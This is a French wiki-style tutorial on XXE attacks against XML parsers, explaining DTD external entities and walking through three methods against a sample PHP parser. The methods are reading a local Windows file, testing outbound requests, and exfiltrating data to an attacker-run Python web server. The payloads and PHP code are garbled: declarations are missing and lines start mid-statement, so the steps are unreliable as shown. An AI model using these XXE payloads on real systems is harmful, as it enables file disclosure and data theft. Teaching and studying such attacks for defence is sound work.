**XXE**
**1.Présentation**
XML External Entity est une attaque contre les applications qui parse des entrées XML (exemple flux RSS). Cette attaque à lieu lorsque le parser XML est mal configuré et contient une référence à une entité externe. La XXE permet d'afficher des données confidentielles , effectués des dénis de services, etc...
Ce qu'il faut savoir :
Un document XML se base sur une grammaire permettant de vérifier sa conformité, appelé DTD (Document Type Definition). Ces DTD sont bien connus comme étant une source de problèmes de sécurité.
Des entités peuvent être déclarées dans le DTD pour définir des variables.
Ces entités internes permettent de définir des règles de substitution d’un élément par un autre dans le document XML.
Mais ces entités peuvent aussi être externes et dans ce cas faire référence à des ressources qui peuvent être le système de fichier local ou un ordinateur distant.
C'est dans ce cas que la XXE apparaît.
**2.Exploitation**
Le but va être de faire exécuter de l'XML par l'application qui le parse.
Un morceau de notre parser en php :
nom.'
';
echo 'Prenom : '.$auteur->prenom.'
';
echo 'Age : '.$auteur->age.'
';
?>
Ici on affiche uniquement le contenu des balises nom, prenom et age.
Il attendra des fichiers XML au format suivant :
Dupont
John
25
{{ :web:xxe_parser.png?nolink |}}
Pour la partie exploitation technique
__2.1 Méthode 1 : Afficher le contenu d'un fichier__
Voici le contenu du fichier XML que nous donnerons au parser si nous voulons afficher le contenu d'un fichier.
]>
&ent;
John
25
Ici nous retrouverons le contenu de notre fichier c:/windows/win.ini entre les deux balises "nom"
__2.2 Méthode 2 : Verifier que le parser sois capable d'exfiltrer des donées__
Dans un premier temps il faut lancer un serveur web python :
python -m SimpleHTTPServer 8080
Dans un second temps uploader le fichier qui sera parser
]>
&sp;
Dupont
John
25
Si tout c'est bien passer vous obtiendrez ceci
{{ :web:xxe_python.png?nolink |}}
__2.3 Méthode 3 : Exfiltré des données par requête HTTP__
Dans un premier temps il faut lancer un serveur web python :
python -m SimpleHTTPServer 8080
Ensuite il faut créer un fichier exfiltrate.xml sur notre serveur python.
">
Dans un second temps uploader le fichier qui sera parser
%sp;
%param1;
]>
&exfil;
Dupont
John
25
{{ :web:xxe_python2.png?nolink |}}
Source :
[[https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing | Owasp ]]
[[http://prox-ia.blogspot.fr/2014/12/une-faille-xxl-lattaque-xxe.html | Prox-ia]]
[[https://gist.github.com/staaldraad/01415b990939494879b4 | Payload XXE]]